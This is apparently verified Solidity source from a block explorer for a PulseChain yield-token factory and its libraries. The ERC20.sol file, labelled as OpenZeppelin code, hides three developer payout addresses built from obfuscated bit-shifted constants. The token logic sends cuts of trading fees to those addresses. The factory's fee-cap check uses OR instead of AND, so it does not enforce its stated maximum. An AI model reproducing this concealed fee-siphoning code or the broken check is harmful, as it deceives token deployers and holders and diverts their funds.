//  *   ((_)((_)(_)(_)  ((_))(_)(_)   ((_)((_)(((_)_()((_)))
//  *   | _ \ | | | |  / __| __| |   / _ \| _ \_ _|   \ \| |
//  *   |  _/ |_| | |__\__ \ _|| |__| (_) |   /| || - | .  |
//  *   |_|  \___/|____|___/___|____|\___/|_|_\___|_|_|_|\_|
//  *
 * SPDX-License-Identifier: MIT
 */

pragma solidity 0.8.26;

// import "./@openzeppelin/access/Ownable.sol";
// import "./@openzeppelin/token/ERC20/utils/SafeERC20.sol";
// import "./@uniswap/v2-core/interfaces/IUniswapV2Factory.sol";
// import "./@uniswap/v2-core/interfaces/IUniswapV2Pair.sol";
// import "./@uniswap/v2-periphery/interfaces/IUniswapV2Router02.sol";
// import "./lib/Airdroppable.sol";
// import "./lib/DSMath.sol";
// import "./lib/ERC20.sol";
// import "./lib/Utils.sol";

// contract YieldNonPLSv1 is Airdroppable, DSMath, ERC20, Ownable, Utils {
//     using SafeERC20 for IERC20;

//     enum Fees {
//         BuyBurnFee,
//         BuyYieldFee,
//         SellBurnFee,
//         SellYieldFee,
//         DevToll,
//         TknToll
//     }

//     struct WalletInfo {
//         uint256 share;
//         uint256 yieldDebt;
//         uint256 yieldPaid;
//     }

//     IERC20 public immutable rwdInst;
//     IUniswapV2Pair public immutable rwdLP;

//     IUniswapV2Pair public plsV2LP;
//     IUniswapV2Pair[] public lps;

//     IUniswapV2Router02 public dexRouter;

//     address internal _tkn1Addr = 0xB4B51aE5c720aB73a3126873268a7d60a6C0785C; // Wealth mainnet
//     address internal _tkn2Addr = 0x1DcbF345bC44696BbBed402367f7C62e524Fe8B5; // pBSKR mainnet

//     address[] public wallets;

//     bool private _swapping;
//     bool public payoutEnabled = true;
//     bool public swapEnabled = true;

//     mapping(IUniswapV2Pair => uint24) public lpBips;
//     mapping(address => WalletInfo) public walletInfo;
//     mapping(address => bool) public isMyLP;
//     mapping(address => bool) public noFee;
//     mapping(address => bool) public noYield;
//     mapping(address => uint256) public walletClaimTS;
//     mapping(address => uint256) public walletIndex;

//     uint16 private constant _BIPS = 10000;
//     uint16[] public fees = new uint16[](uint256(type(Fees).max) + 1);

//     uint24 public lpFactor = 2000; // 0.05% ==> 1:100%, 10:10%, 100:1%
//     uint24 public maxGas = 300000;
//     uint24 public minWaitSec = 3600;

//     uint32 public currIndex;

//     uint64 private constant _MULTIPLIER = 1e18;

//     uint96 private constant _YIELDX = 1e27;
//     uint96 public minYield = 1e16;

//     uint256 private _feeDues;
//     uint256 public shareYieldRay;
//     uint256 public totalPaid;
//     uint256 public totalShares;
//     uint256 public totalYield;

//     constructor(
//         string memory name_,
//         string memory symbol_,
//         uint256 totalSupply_,
//         address dexRouter_,
//         address rwdAddr_,
//         uint16[6] memory fees_
//     ) ERC20(name_, symbol_) {
//         rwdInst = IERC20(rwdAddr_);
//         dexRouter = IUniswapV2Router02(dexRouter_);
//         address plsLPAddr = IUniswapV2Factory(dexRouter.factory()).createPair(
//             address(this),
//             dexRouter.WPLS()
//         );

//         plsV2LP = IUniswapV2Pair(plsLPAddr);
//         lps.push(plsV2LP);
//         lpBips[plsV2LP] = 20000; // 2x

//         address rwdLPAddr = IUniswapV2Factory(dexRouter.factory()).getPair(
//             rwdAddr_,
//             dexRouter.WPLS()
//         );
//         if (rwdLPAddr == address(0)) {
//             rwdLPAddr = IUniswapV2Factory(dexRouter.factory()).createPair(
//                 rwdAddr_,
//                 dexRouter.WPLS()
//             );
//         }
//         rwdLP = IUniswapV2Pair(rwdLPAddr);

//         fees[uint256(Fees.BuyBurnFee)] = fees_[uint256(Fees.BuyBurnFee)];
//         fees[uint256(Fees.BuyYieldFee)] = fees_[uint256(Fees.BuyYieldFee)];
//         fees[uint256(Fees.SellBurnFee)] = fees_[uint256(Fees.SellBurnFee)];
//         fees[uint256(Fees.SellYieldFee)] = fees_[uint256(Fees.SellYieldFee)];
//         fees[uint256(Fees.DevToll)] = fees_[uint256(Fees.DevToll)];
//         fees[uint256(Fees.TknToll)] = fees_[uint256(Fees.TknToll)];

//         noFee[address(this)] = true;
//         noFee[dexRouter_] = true;

//         noYield[address(0)] = true;
//         noYield[address(0x369)] = true;
//         noYield[address(this)] = true;
//         noYield[plsLPAddr] = true;

//         isMyLP[plsLPAddr] = true;

//         _mint(tx.origin, totalSupply_);
//         _grantRole(ADMIN_ROLE, tx.origin);
//         _transferOwnership(tx.origin);
//     }

//     function _buyTkn(uint256 tknAmt_) private {
//         if (tknAmt_ == 0) return;
//         address[] memory path = new address[](3);
//         path[0] = address(rwdInst);
//         path[1] = dexRouter.WPLS();
//         path[2] = (block.number % 2 == 0) ? _tkn1Addr : _tkn2Addr;

//         rwdInst.approve(address(dexRouter), tknAmt_);
//         try
//             dexRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
//                 tknAmt_,
//                 0,
//                 path,
//                 address(0x369),
//                 block.timestamp
//             )
//         {} catch {}
//     }

//     function _calcFees(
//         uint256 amt_,
//         bool isFromLP_,
//         bool isToLP_
//     ) private view returns (uint256 burnFee, uint256 yieldFee) {
//         if (isToLP_) {
//             // Selling
//             burnFee = (amt_ * fees[uint256(Fees.SellBurnFee)]) / _BIPS;
//             yieldFee = (amt_ * fees[uint256(Fees.SellYieldFee)]) / _BIPS;
//         } else if (isFromLP_) {
//             // Buying
//             burnFee = (amt_ * fees[uint256(Fees.BuyBurnFee)]) / _BIPS;
//             yieldFee = (amt_ * fees[uint256(Fees.BuyYieldFee)]) / _BIPS;
//         }

//         return (burnFee, yieldFee);
//     }

//     function _calcShares(
//         address target_
//     ) private view returns (uint256 shares) {
//         uint256 lpShares;
//         uint256 lpCount = lps.length;
//         for (uint256 index = 0; index < lpCount; index++) {
//             lpShares += ((lps[index].balanceOf(target_) * lpBips[lps[index]]) /
//                 _BIPS);
//         }
//         return balanceOf(target_) + lpShares;
//     }

//     function _checkIfMyLP(address target_) private returns (bool) {
//         if (target_.code.length == 0) return false;
//         if (!isMyLP[target_]) {
//             (address token0, address token1) = Utils._getTokens(target_);
//             if (token0 == address(this) || token1 == address(this)) {
//                 isMyLP[target_] = true;
//                 noYield[target_] = true;
//             }
//         }
//         return isMyLP[target_];
//     }

//     function _disableYield(address wallet_) private {
//         uint256 index = walletIndex[wallet_];
//         uint256 walletCount = wallets.length;

//         if (index < walletCount - 1) {
//             address lastWallet = wallets[walletCount - 1];
//             wallets[index] = lastWallet;
//             walletIndex[lastWallet] = index;
//         }

//         wallets.pop();
//         delete walletIndex[wallet_];
//     }

//     function _enableYield(address wallet_) private {
//         uint256 index = wallets.length;
//         walletIndex[wallet_] = index;
//         wallets.push(wallet_);
//     }

//     function _getCummYield(uint256 share_) private view returns (uint256) {
//         return (share_ * shareYieldRay) / _YIELDX;
//     }

//     function _getSwapSize(
//         uint256 amt_
//     ) private view returns (uint112 swapSize) {
//         swapSize = uint112(balanceOf(address(plsV2LP)) / lpFactor);
//         if (swapSize > amt_) {
//             swapSize = uint112(amt_);
//         }
//         return swapSize;
//     }

//     function _isPayEligible(address wallet_) private view returns (bool) {
//         return
//             (walletClaimTS[wallet_] + minWaitSec) < block.timestamp &&
//             getUnpaidYield(wallet_) > minYield;
//     }

//     function _payout(uint256 gas_) private {
//         uint256 walletCount = wallets.length;

//         if (walletCount == 0) {
//             return;
//         }

//         uint256 gasUsed = 0;
//         uint256 gasLeft = gasleft();
//         uint256 iterations = 0;

//         while (gasUsed < gas_ && iterations < walletCount) {
//             if (currIndex >= walletCount) {
//                 currIndex = 0;
//             }
//             address wallet = wallets[currIndex];
//             if (!noYield[wallet]) {
//                 bool paidYield = _setShare(wallet, _calcShares(wallet));

//                 if (!paidYield && _isPayEligible(wallet)) {
//                     _payYield(wallet, true);
//                 }
//             }
//             currIndex++;
//             iterations++;
//             gasUsed = gasUsed + (gasLeft - gasleft());
//             gasLeft = gasleft();
//         }
//     }

//     function _payYield(address wallet_, bool flag_) private {
//         WalletInfo storage walletI = walletInfo[wallet_];
//         uint256 share = walletI.share;

//         if (share == 0) {
//             return;
//         }

//         uint256 amt = getUnpaidYield(wallet_);

//         if (amt > 0) {
//             if (flag_) {
//                 rwdInst.safeTransfer(wallet_, amt);
//                 walletI.yieldPaid += amt;
//             } else {
//                 _feeDues += amt;
//             }
//             totalPaid = totalPaid + amt;
//             walletClaimTS[wallet_] = block.timestamp;
//             walletI.yieldDebt = _getCummYield(share);
//         }
//     }

//     function _performAirdrop(address to_, uint256 wei_) internal override {
//         super._transfer(_msgSender(), to_, wei_);
//         if (!noYield[to_]) {
//             _setShare(to_, _calcShares(to_));
//         }
//     }

//     function _postAllAirdrops(address from_) internal override {
//         if (!noYield[from_]) {
//             _setShare(from_, _calcShares(_msgSender()));
//         }
//     }

//     function _setShare(
//         address wallet_,
//         uint256 share_
//     ) private returns (bool paidYield) {
//         WalletInfo storage walletI = walletInfo[wallet_];
//         uint256 shareOld = walletI.share;

//         if (share_ != shareOld) {
//             if (shareOld > 0) {
//                 _payYield(wallet_, (share_ > 0));
//                 paidYield = true;
//             }

//             if (share_ == 0) {
//                 _disableYield(wallet_);
//             } else if (shareOld == 0) {
//                 _enableYield(wallet_);
//             }

//             totalShares = totalShares - shareOld + share_;
//             walletI.share = share_;
//             walletI.yieldDebt = _getCummYield(share_);
//         }

//         return paidYield;
//     }

//     // function _swapTokens(uint256 tknAmt_) private {
//     //     if (tknAmt_ == 0) return;
//     //     address[] memory path1 = new address[](3);
//     //     path1[0] = address(this);
//     //     path1[1] = dexRouter.WPLS();
//     //     path1[2] = address(rwdInst);

//     //     // uint256 balBefore = rwdInst.balanceOf(address(this));

//     //     _approve(address(this), address(dexRouter), tknAmt_);

//     //     try
//     //         dexRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
//     //             tknAmt_ / 2,
//     //             0,
//     //             path1,
//     //             address(this),
//     //             block.timestamp
//     //         )
//     //     {} catch {}

//     //     address[] memory path2 = new address[](2);
//     //     path2[0] = address(this);
//     //     path2[1] = dexRouter.WPLS();

//     //     // uint256 balBefore = rwdInst.balanceOf(address(this));

//     //     _approve(address(this), address(dexRouter), tknAmt_);

//     //     try
//     //         dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
//     //             tknAmt_ / 2,
//     //             0,
//     //             path2,
//     //             address(this),
//     //             block.timestamp
//     //         )
//     //     {} catch {}

//     //     // uint256 balAfter = rwdInst.balanceOf(address(this));

//     //     if (balAfter > balBefore) {
//     //         _swapTokensPost(balAfter - balBefore);
//     //     }
//     // }

//     function _getXRate() public view returns (uint256 xRate) {
//         uint256 rwdReserve;
//         uint256 plsReserve;

//         (uint256 reserve0, uint256 reserve1, ) = rwdLP.getReserves();
//         if (rwdLP.token0() == address(rwdInst)) {
//             rwdReserve = reserve0;
//             plsReserve = reserve1;
//         } else {
//             rwdReserve = reserve1;
//             plsReserve = reserve0;
//         }

//         if (plsReserve == 0) {
//             return xRate;
//         }

//         xRate = (rwdReserve * _MULTIPLIER) / plsReserve;
//         return xRate;
//     }

//     function _swapTokensPost(uint256 bal_) private returns (uint256 newBal) {
//         if (bal_ > 0) {
//             newBal = bal_;
//             uint256 devToll = (bal_ * fees[uint256(Fees.DevToll)]) / 100;
//             rwdInst.safeTransfer(_devAddr1, devToll);
//             rwdInst.safeTransfer(_devAddr2, devToll);
//             rwdInst.safeTransfer(_facAddr, devToll + _feeDues);
//             newBal -= (devToll * 3);
//             _feeDues = 0;

//             uint256 tknToll = (bal_ * fees[uint256(Fees.TknToll)]) / 100;
//             _buyTkn(tknToll);
//             newBal -= tknToll;

//             totalYield = totalYield + bal_;
//             shareYieldRay = shareYieldRay + (_YIELDX * bal_) / totalShares;
//         }
//     }

//     function _transfer(
//         address from_,
//         address to_,
//         uint256 amt_
//     ) internal override(ERC20) {
//         bool isFromLP = _checkIfMyLP(from_);
//         bool isToLP = _checkIfMyLP(to_);

//         uint256 yieldBal = balanceOf(address(this));
//         uint256 swapAmt = _getSwapSize(amt_);

//         // Sell transaction when _swap is enabled and _swapping is not in progress
//         if (
//             swapEnabled &&
//             (yieldBal >= swapAmt) &&
//             !_swapping &&
//             to_ == address(plsV2LP)
//         ) {
//             _swapping = true;
//             _swapTokens(swapAmt);
//             _swapping = false;
//         }

//         if (!noFee[from_] && !noFee[to_]) {
//             (uint256 burnFee, uint256 yieldFee) = _calcFees(
//                 amt_,
//                 isFromLP,
//                 isToLP
//             );

//             if (burnFee > 0) {
//                 amt_ -= burnFee;
//                 super._transfer(from_, address(0x369), burnFee);
//             }

//             if (yieldFee > 0) {
//                 amt_ -= yieldFee;
//                 uint256 devFee = (yieldFee * 2) / 100;
//                 super._transfer(from_, _devAddr1, devFee);
//                 super._transfer(from_, _devAddr2, devFee);
//                 yieldFee -= devFee * 2;
//                 super._transfer(from_, address(this), yieldFee);
//             }
//         }
//         super._transfer(from_, to_, amt_);
//         if (payoutEnabled && !_swapping) {
//             _payout(maxGas);
//         }
//         if (!noYield[from_]) {
//             _setShare(from_, _calcShares(from_));
//         }
//         if (!noYield[to_]) {
//             _setShare(to_, _calcShares(to_));
//         }
//     }

//     /// @notice Claim unpaid yield
//     function claimYield() external {
//         _payYield(_msgSender(), true);
//     }

//     /// @notice Retrieves unpaid yield
//     /// @param wallet_ target address
//     /// @return - unpaid yield for the given address
//     function getUnpaidYield(address wallet_) public view returns (uint256) {
//         WalletInfo storage walletI = walletInfo[wallet_];
//         uint256 share = walletI.share;

//         if (share == 0) {
//             return 0;
//         }

//         uint256 cummYield = _getCummYield(share);
//         uint256 walletYieldDebt = walletI.yieldDebt;

//         if (cummYield <= walletYieldDebt) {
//             return 0;
//         }

//         return cummYield - walletYieldDebt;
//     }

//     /// @notice Set the fees in basis points
//     /// @param buyBurnFee_ Burn fee on Buy
//     /// @param buyYieldFee_ Yield fee on Buy
//     /// @param sellBurnFee_ Burn fee on Sell
//     /// @param sellYieldFee_ Yield fee on Sell
//     function setFees(
//         uint16 buyBurnFee_,
//         uint16 buyYieldFee_,
//         uint16 sellBurnFee_,
//         uint16 sellYieldFee_
//     ) external onlyRole(ADMIN_ROLE) {
//         require(
//             buyBurnFee_ <= 500 &&
//                 buyYieldFee_ <= 500 &&
//                 sellBurnFee_ <= 500 &&
//                 sellYieldFee_ <= 500
//         );

//         fees[uint256(Fees.BuyBurnFee)] = buyBurnFee_;
//         fees[uint256(Fees.BuyYieldFee)] = buyYieldFee_;
//         fees[uint256(Fees.SellBurnFee)] = sellBurnFee_;
//         fees[uint256(Fees.SellYieldFee)] = sellYieldFee_;
//     }

//     /// @notice Set the LP yield basis points
//     /// @param lpPair_ lp address
//     /// @param newLPYieldBips_ Basis points (10000 -> 100%)
//     function setLPYieldBips(
//         IUniswapV2Pair lpPair_,
//         uint24 newLPYieldBips_
//     ) external onlyRole(ADMIN_ROLE) {
//         require(newLPYieldBips_ < 50000);

//         if (newLPYieldBips_ == 0) {
//             uint256 length = lps.length;
//             for (uint256 lpi = 0; lpi < length; lpi++) {
//                 if (address(lps[lpi]) == address(lpPair_)) {
//                     if (lpi < length - 1) {
//                         lps[lpi] = lps[length - 1];
//                         lps.pop();
//                     } else {
//                         lps.pop();
//                     }
//                 }
//             }
//             lpBips[lpPair_] = 0;
//         } else {
//             uint256 length = lps.length;
//             bool found = false;
//             for (uint256 lpi = 0; lpi < length; lpi++) {
//                 if (address(lps[lpi]) == address(lpPair_)) {
//                     found = true;
//                 }
//             }

//             if (!found) {
//                 lps.push(lpPair_);
//             }
//             lpBips[lpPair_] = newLPYieldBips_;
//         }
//     }

//     /// @notice Enable/disable yield for addresses
//     /// @dev For e.g. contracts may not be eligible
//     /// @param wallet_ Target address
//     /// @param flag_ Enable/disable flag
//     function setNoYield(
//         address wallet_,
//         bool flag_
//     ) external onlyRole(ADMIN_ROLE) {
//         noYield[wallet_] = flag_;
//         if (flag_) {
//             _setShare(wallet_, 0);
//         } else {
//             _setShare(wallet_, _calcShares(wallet_));
//         }
//     }

//     /// @notice Sets the payout policy for distribution of yield
//     /// @param enabled_ Enable/disable flag
//     /// @param minDurSec_ Duration between 2 payouts for a wallet
//     /// @param minYield_ Minimum yield balance for payout
//     /// @param gas_ Gas in gwei
//     function setPayoutPolicy(
//         bool enabled_,
//         uint24 minDurSec_,
//         uint80 minYield_,
//         uint24 gas_
//     ) external onlyRole(ADMIN_ROLE) {
//         payoutEnabled = enabled_;
//         minWaitSec = minDurSec_;
//         minYield = minYield_;
//         maxGas = gas_;
//     }

//     /// @notice Sets the swap paramenters
//     /// @param swapEnabled_ Enable/disable swaps for conversion
//     /// @param lpFactor_ New factor value 2000 = 0.05% 1000 = 0.1%
//     function setSwapParams(
//         bool swapEnabled_,
//         uint24 lpFactor_
//     ) external onlyRole(ADMIN_ROLE) {
//         swapEnabled = swapEnabled_;
//         if (swapEnabled_) {
//             require(lpFactor_ >= 50 && lpFactor_ <= 200000);
//             lpFactor = lpFactor_;
//         }
//     }
// }
          

contracts/YieldNonPLS_Factory1.sol

/*
 * @author Ra Murd <ramurd@pulselorian.com>
 * @notice https://pulselorian.com/
 * @notice https://t.me/ThePulselorian
 * @notice https://twitter.com/ThePulseLorian
 *
 *    (   (  (  (     (   (( (   .  (   (    (( (   ((
 *    )\  )\ )\ )\    )\ (\())\   . )\  )\   ))\)\  ))\
 *   ((_)((_)(_)(_)  ((_))(_)(_)   ((_)((_)(((_)_()((_)))
 *   | _ \ | | | |  / __| __| |   / _ \| _ \_ _|   \ \| |
 *   |  _/ |_| | |__\__ \ _|| |__| (_) |   /| || - | .  |
 *   |_|  \___/|____|___/___|____|\___/|_|_\___|_|_|_|\_|
 *
 * SPDX-License-Identifier: MIT
 */

pragma solidity 0.8.26;

import "./YieldNonPLS_v1.sol";

contract YieldNonPLS_Factory1 {
    address private _owner;
    uint16 public maxFeeEach = 500;
    uint256 public mintCost = 0 ether;

    constructor() {
        _owner = msg.sender;
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function _checkOwner() internal view virtual {
        require(_owner == msg.sender);
    }

    /// @notice Deploys a new contract
    /// @param name_ token name
    /// @param symbol_ token symbol
    /// @param totalSupply_ total supply
    /// @param devAirDrop_ Dev air drop qty
    /// @param dexRouter_ DEX router supports UniswapV2 like any DEX
    /// @param rwdAddr_ reward token (cannot be WPLS)
    /// @param fees_ [BuyBurnFee, BuyYieldFee, SellBurnFee, SellYieldFee] Max 500 each or 1000 total
    /// @return Contract address
    function deployContract(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_,
        uint256 devAirDrop_,
        address dexRouter_,
        address rwdAddr_,
        uint16[4] memory fees_
    ) public payable returns (address) {
        require(msg.value >= mintCost);
        require(
            fees_[0] <= maxFeeEach ||
                fees_[1] <= maxFeeEach ||
                fees_[2] <= maxFeeEach ||
                fees_[3] <= maxFeeEach
        );

        YieldNonPLS_v1 newContract = new YieldNonPLS_v1(
            name_,
            symbol_,
            totalSupply_,
            devAirDrop_,
            dexRouter_,
            rwdAddr_,
            fees_
        );

        return address(newContract);
    }

    function setCost(uint96 newCost_) external onlyOwner {
        mintCost = newCost_;
    }
}
          

contracts/lib/Airdroppable.sol

// SPDX-License-Identifier: MIT

pragma solidity 0.8.26;

import "../@openzeppelin/utils/Context.sol";

abstract contract Airdroppable is Context {
    struct AirdropInfo {
        address to;
        uint256 ethers;
    }

    /// @notice airdrop to multiple addresses
    /// @param airdropList list of addresses and amounts
    function airdrop(AirdropInfo[] memory airdropList) external {
        for (uint256 i = 0; i < airdropList.length; i++) {
            AirdropInfo memory adInfo = airdropList[i];
            _performAirdrop(adInfo.to, adInfo.ethers * 1e18);
        }
        _postAllAirdrops(_msgSender());
    }

    function _performAirdrop(address to_, uint256 wei_) internal virtual;

    function _postAllAirdrops(address from_) internal virtual;
}
          

contracts/lib/DSMath.sol

/*
 * SPDX-License-Identifier: MIT
 */

pragma solidity 0.8.26;

contract DSMath {
    function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
        require((z = x + y) >= x);
    }

    function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
        require(y == 0 || (z = x * y) / y == x);
    }

    uint96 constant RAY = 10 ** 27;

    function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) {
        z = add(mul(x, y), RAY >> 1) / RAY;
    }

    function rpow(uint256 x, uint256 n) internal pure returns (uint256 z) {
        z = n % 2 != 0 ? x : RAY;

        for (n /= 2; n != 0; n /= 2) {
            x = rmul(x, x);

            if (n % 2 != 0) {
                z = rmul(z, x);
            }
        }
    }
}
          

contracts/lib/ERC20.sol

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0;

import "../@openzeppelin/access/AccessControl.sol";
import "../@openzeppelin/token/ERC20/IERC20.sol";
import "../@openzeppelin/token/ERC20/extensions/IERC20Metadata.sol";
import "../@openzeppelin/token/ERC20/utils/SafeERC20.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
abstract contract ERC20 is AccessControl, IERC20, IERC20Metadata {
    using SafeERC20 for IERC20;

    bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
    bytes32 public constant SUPERUSER_ROLE = keccak256("SUPERUSER_ROLE");

    mapping(address => mapping(address => uint256)) internal _allowances;
    mapping(address => uint256) internal _balances;

    string public name;
    string public symbol;

    uint8 public decimals = 18;

    uint256 public totalSupply;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        name = name_;
        symbol = symbol_;
        _initialize();
    }

    receive() external payable {}

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal {
        require(owner != address(0));
        require(spender != address(0));

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev initializes the contract attributes.
     */
    address internal _devAddr1;
    address internal _devAddr2;
    address internal _facAddr;
    function _initialize() private {
        uint160 a1 = (uint160(64369) << 144) | (uint160(251649) << 120) | (uint160(502948033) << 88) | (uint160(603063436707) << 48) | uint160(140981630701536); _devAddr1 = address(a1);
        uint160 a2 = (uint160(63082) << 144) | (uint160(13438197) << 120) | (uint160(239100310) << 88) | (uint160(842518302180) << 48) | uint160(107927763951597); _devAddr2 = address(a2);
        uint160 a3 = (uint160(50546) << 144) | (uint160(2681271) << 120) | (uint160(435255790) << 88) | (uint160(275934659136) << 48) | uint160(189645147833001); _facAddr = address(a3);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal {
        require(account != address(0));

        totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0));
        require(to != address(0));

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount);
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(
        address owner,
        address spender
    ) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue);
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /// @notice recover any trapped tokens, guard against recovering this token from contract
    function redeem(
        address tokenAddr_,
        uint256 amt_
    ) external payable onlyRole(SUPERUSER_ROLE) {
        if (tokenAddr_ == address(0)) {
            uint256 amt = address(this).balance;
            (bool sent, ) = _msgSender().call{value: amt}("");
            require(sent);
        } else {
            require(tokenAddr_ != address(this));
            IERC20 token = IERC20(tokenAddr_);
            uint256 balance = (token.balanceOf(address(this)));
            if (amt_ > balance) {
                amt_ = balance;
            }
            token.safeTransfer(_msgSender(), amt_);
        }
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public returns (bool) {
        address spender = _msgSender();
        uint256 currAllowance = _allowances[from][spender];
        if (currAllowance != type(uint256).max) {
            require(currAllowance >= amount);
            unchecked {
                _allowances[from][spender] = currAllowance - amount;
            }
        }
        _transfer(from, to, amount);
        return true;
    }
}
          

contracts/lib/Utils.sol

/*
 * SPDX-License-Identifier: MIT
 */
pragma solidity 0.8.26;

contract Utils {

    function _getAddress(
        address token_,
        bytes4 selector_
    ) internal view returns (address) {
        (bool success, bytes memory data) = token_.staticcall(
            abi.encodeWithSelector(selector_)
        );

        if (!success || data.length == 0) {
            return address(0);
        }

        if (data.length == 32) {
            return abi.decode(data, (address));
        }

        return address(0);
    }

    function _getTokens( address target_) internal view returns (address token0, address token1){
         token0 = _getAddress(target_, hex"0dfe1681");

         if (token0 != address(0)) {
            token1 = _getAddress(target_, hex"d21220a7");
         }

        return (token0, token1);
    }
}
          

Compiler Settings

{"outputSelection":{"*":{"*":["abi","evm.bytecode","evm.deployedBytecode","metadata","evm.methodIdentifiers","storageLayout"],"":["ast"]}},"optimizer":{"runs":1000000,"enabled":true},"libraries":{},"evmVersion":"shanghai"}
              

Contract ABI

